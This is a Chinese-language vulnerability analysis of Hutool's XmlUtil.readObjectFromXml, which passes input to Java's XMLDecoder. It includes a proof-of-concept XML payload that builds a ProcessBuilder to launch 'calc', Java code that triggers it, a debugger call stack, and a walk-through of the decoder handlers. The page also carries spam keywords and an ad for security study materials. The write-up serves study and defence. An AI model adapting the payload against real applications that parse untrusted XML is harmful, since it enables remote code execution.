公司网站建设免费,微信上怎么创建公众号,wordpress 点击图片放大,深圳网站运营外包公司漏洞简介
Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据#xff0c;当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。
漏洞复现
我们在 maven 仓库中查找 Hutool
https://mvnrepository.com/search?…漏洞简介
Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。
漏洞复现
我们在 maven 仓库中查找 Hutool
https://mvnrepository.com/search?qHutool
把依赖复制出来添加到项目的 pom.xml 文件中
!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all --
dependencygroupIdcn.hutool/groupIdartifactIdhutool-all/artifactIdversion5.8.11/version
/dependency添加完成后刷新一下 maven 依赖
我们编写代码
import cn.hutool.core.util.XmlUtil;
public class Test {public static void main(String[] args) {XmlUtil.readObjectFromXml(java\n object class\java.lang.ProcessBuilder\\n array class\java.lang.String\ length\1\\n void index\0\\n stringcalc/string\n /void\n /array\n void method\start\/void\n /object\n /java\n);}
}
在项目目录下创建一个 bean.xml 文件将 xml 放在文件中构造代码也可以触发
import cn.hutool.core.util.XmlUtil;
import java.io.File;public class Test {public static void main(String[] args) {File file new File(bean.xml);XmlUtil.readObjectFromXml(file);}
}
漏洞分析
整个漏洞分析下来相对来时是比较简单的但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫
cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)
当然这个地方也是可以通过读取文件来实现的
cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)
cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)
java.beans.XMLDecoder#readObject
漏洞本质上是 java 原生方法中的漏洞XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml 方法 就可以避免这个漏洞的产生。
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
漏洞修复
在最新版的 hutool-all 没有用黑名单而是直接移除了 readObjectFromXml 方法简单粗暴。
XMLDecoder.readObject
javaobject classjava.lang.ProcessBuilderarray classjava.lang.String length1void index0stringcalc/string/void/arrayvoid methodstart/void/object
/java
object 标签class 的值对应着实例化的全类名java.lang.ProcessBuilder
array 标签class 的值对应着实例化的全类名对象构造的参数ProcessBuilder 对象的构造参数
void 标签method 的值对应着 method 的参数 start
最后相当于执行了
new java.lang.ProcessBuilder(new String[]{calc}).start();
为了方便看到整个调用联的流程我们在触发漏洞的位置加上断点分析其中经过了那些处理
java.lang.ProcessBuilder#start
start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:155, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:20, xmldecode (xml)
比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument开始对 xml 进行解析
先简单描述一下我的理解然后再截图与之相对应可能部分理解并不完全正确
根据 xml 文件的中的标识来识别开始还是结束 对应着开始/ 对应着结束
解析时会调用相对应的 Handler 进行处理Handler 在 DocumentHandler.class 中被定义通过节点名获取对应的handler
解析到结束标识时会调用到相对应的 Handler 中的 getValueObject 方法 最后实现命令执行这里描述比较简单后面根据代码在详细描述
com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument
这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next
com.sun.beans.decoder.DocumentHandler#DocumentHandler
对应的 Handler 是根据节点返回的最主要的漏洞触发位置应该是endElement 中
com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement
com.sun.beans.decoder.DocumentHandler#endElement
调用 StringElementHandler 对应的 endElement 方法 StringElementHandler 没有这个方法调用其父类 ElementHandler 中 endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.StringElementHandler#getValueObject
最后返回获取到的值是 calc 添加到其父类对应的 Argument 属性
com.sun.beans.decoder.NewElementHandler#addArgument
接着将 handler 指向上一级的 handler VoidElementHandler
调用 VoidElementHandler 对应的 endElement 方法 VoidElementHandler 没有这个方法调用其父类 ObjectElementHandler 的父类NewElementHandler 的父类 ElementHandler 中 endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
执行完后又有一个 void methodstart/void
调试返回的结果
com.sun.beans.decoder.DocumentHandler#endElement
com.sun.beans.decoder.ElementHandler#endElement
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.NewElementHandler#getContextBean
com.sun.beans.decoder.ElementHandler#getContextBean
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.NewElementHandler#getContextBean
com.sun.beans.decoder.ObjectElementHandler#getValueObject
com.sun.beans.decoder.NewElementHandler#getValueObject()
com.sun.beans.decoder.ElementHandler#getContextBean
com.sun.beans.decoder.NewElementHandler#getContextBean
继续执行最终触发命令执行
com.sun.beans.decoder.ObjectElementHandler#getValueObject
后一部分很像套娃
整个过程冗长繁琐建议自己调试分析一下可能了解的更加清楚。